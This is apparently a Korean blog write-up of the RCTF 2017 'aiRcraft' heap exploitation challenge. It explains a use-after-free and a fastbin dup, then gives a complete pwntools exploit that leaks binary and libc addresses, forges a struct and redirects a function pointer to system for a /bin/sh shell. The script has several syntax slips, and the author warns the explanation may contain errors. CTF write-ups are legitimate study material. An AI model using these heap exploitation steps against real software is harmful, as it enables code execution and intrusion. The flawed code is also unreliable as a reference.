Pwnable/CTF

RCTF 2017 AirCraft

HSr00t 2017. 11. 8. 10:40

간단하게 익스방법만.


buy를 이용하면 내가 입력하는 데이터와 힙 주소를 저장해주는 포인터와 함수 포인터 등을 가지고있다.

이것을 free하면 함수 포인터를 NULL로 초기화를 안 해줘서 이것을이용하여서 pie base릭을 하고 plt got주소를 구할수있다.
build를 이용하면 포인터 하나를 할당하고 그곳에 내 데이터가 들어가는 할당된 청크 주소가 저장된다. 그 동시에 내 사이즈에 맞춰서 할당한다.

이때 전역 포인터 -> 청크 주소 저장 포인터 -> 내 데이터가 들어가는 청크(포인터)
이때 전역포인터가 더블포인터라 청크주소를 저장 하는 포인터가 가르키는 주소에있는 값을 출력한다. 이것을 노려서 라이브러리 릭을하였다.


enter를 쓰면 free가되면서 청크 주소를 저장하는 포인터와 내 데이터가 들어가는 포인터가 프리가된다.

하지만 전역 포인터를 NULL로 초기화를 시키지 않기때문에 

따로 전역 주소를 저장하는 포인터가 생기지 않는 buy를 이용하여서 uaf를 하고 got주소를 덮으면 전역 포인터 -> puts_got -> 라이브러리로 릭을 할수있다.


select 를하면 buy 포인터와 build 포인터가 합쳐진다? build에 주소값이 들어가지는데 enter를 할때 build에 주소값이 있다면 free를 시킨다. 이때 할당이 되어있는지 확인을 안 하고 먼저 select를 하고있는지 확인을 안 하며 fastbin이여서 select 로 합쳐서 fastbin dup를 일으킬수있다.


select("QWE",1,2# 2-> qwe 

exit() 

select("EWQ",1,3#3 -> ewq

exit()

select("QWE",1,4#4 -> qwe

exit()

이런식으로 합치고 그 아래 코드로 enter를 하면 fastbin에 qwe ewq qwe 가 들어가게할수있다

buy 포인터도 NULL로 초기화를 안 해주기때문에 UAF를 이용하여 fake struct를 짜줘서 함수 포인터를 시스템으로 바꿔주면 쉘을 딸 수 있다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
from pwn import *
   
p=process("./aiRcraft")
elf=ELF("./aiRcraft")
 
 
def buy(company,name):
    p.recvuntil(': ')
        p.sendline("1")
        print p.recv(1024)
    p.sendline(str(company))
        p.recvuntil(': ')
        p.sendline(name)
          
def build(size,name):
        p.recvuntil(': ')
        p.sendline("2")
        p.recvuntil('? ')
        p.sendline(str(size))
        p.recvuntil(': ')
        p.sendline(name)
 
def enter(idx,what):
        p.recvuntil(': ')
        p.sendline("3")
        p.recvuntil('? ')
        p.sendline(str(idx))
        p.recvuntil(': ')
        p.sendline(str(what))
 
def select(name,what,idx):
        p.recvuntil(': ')
        p.sendline("4")
        p.recvuntil('? ')
        p.sendline(name)
        p.recvuntil(': ')
        p.sendline(str(what))
        if(what==1):
                p.recvuntil('? ')
                p.sendline(str(idx))
 
def exit():
    p.recvuntil(': ')
    p.sendline("3")
 
print "0x202080 build pointer"
print "0x202138 company pointer"
 
buy(1,"AAAA"#cr
select("AAAA",2,0#del
build(64,"B"*64#uaf
buy(1,"ZZZZ"#cr
select("ZZZZ",1,0#print
 
print p.recvuntil('to ')
print p.recvuntil("B"*64)
free_pointer = u64(p.recv(6)+"\x00\x00")
binary_base = free_pointer - 0xb7d
puts_got = binary_base + elf.got['puts']
puts_plt = binary_base + elf.plt['puts']
print hex(free_pointer)
print hex(binary_base)
print hex(puts_got)
print hex(puts_plt)
 
exit()
 
enter(0,2#build 0,company(ZZZZ) free
build(40,"AAAA")
enter(1,2)
buy(4,"C"*16#dummy heap uaf
buy(1,p64(puts_got)) #build pointer uaf 
select(p64(puts_got),1,1)
 
p.recvuntil(' to ')
puts = u64(p.recv(6)+"\x00\x00")
libc_base = puts - 0x6f690
system = libc_base + 0x45390
#system = libc_base + 0xf0274
free_hook = libc_base + 0x3c67a8
malloc_hook = libc_base + 0x3c4b10
print hex(puts)
print hex(libc_base)
print hex(system)
print hex(free_hook)
print hex(malloc_hook)
exit()
 
 
buy(4,"aaaabbbbcccc")
buy(4,"QWE")
buy(4,"EWQ")
build(256,"zzzz"#2
build(256,"qqqq"#3
build(256,"tttt"#4
enter(2,2)
select("QWE",1,2)
p.recvuntil('to ')
heap_base = u64(p.recv(6)+"\x00\x00"- 0x730
print hex(heap_base)
buy_attack = heap_base + 0x160
print hex(buy_attack)
exit()
build(256,"zzzz"#2,5
build(65,"A"*56+p64(buy_attack+0x10))                  #6
 
select("QWE",1,2# 2-> qwe 
exit() 
select("EWQ",1,3#3 -> ewq
exit()
select("QWE",1,4#4 -> qwe
exit()
 
enter(2,2#QWE
enter(3,2#EWQ
enter(4,2#QWE fastbin dup
 
build(0x40,p64(buy_attack))
build(0x40,"CCCC")
build(0x40,p64(buy_attack))
 
print hex(buy_attack)
 
payload = "/bin/sh\x00"
payload += "\x00"*40
payload += p64(heap_base + 0x8e0)
payload += p64(heap_base + 0x210)
payload += p64(system)
 
 
build(0x48,payload) #plane /bin/sh == airport idx 9
#select("/bin/sh",2,2)
 
 
p.interactive()
 
cs


문제를 풀고 귀찮아서 write up을 미루다가 작성하게 되어서 설명에 실수가 있을수있습니다 ㅠ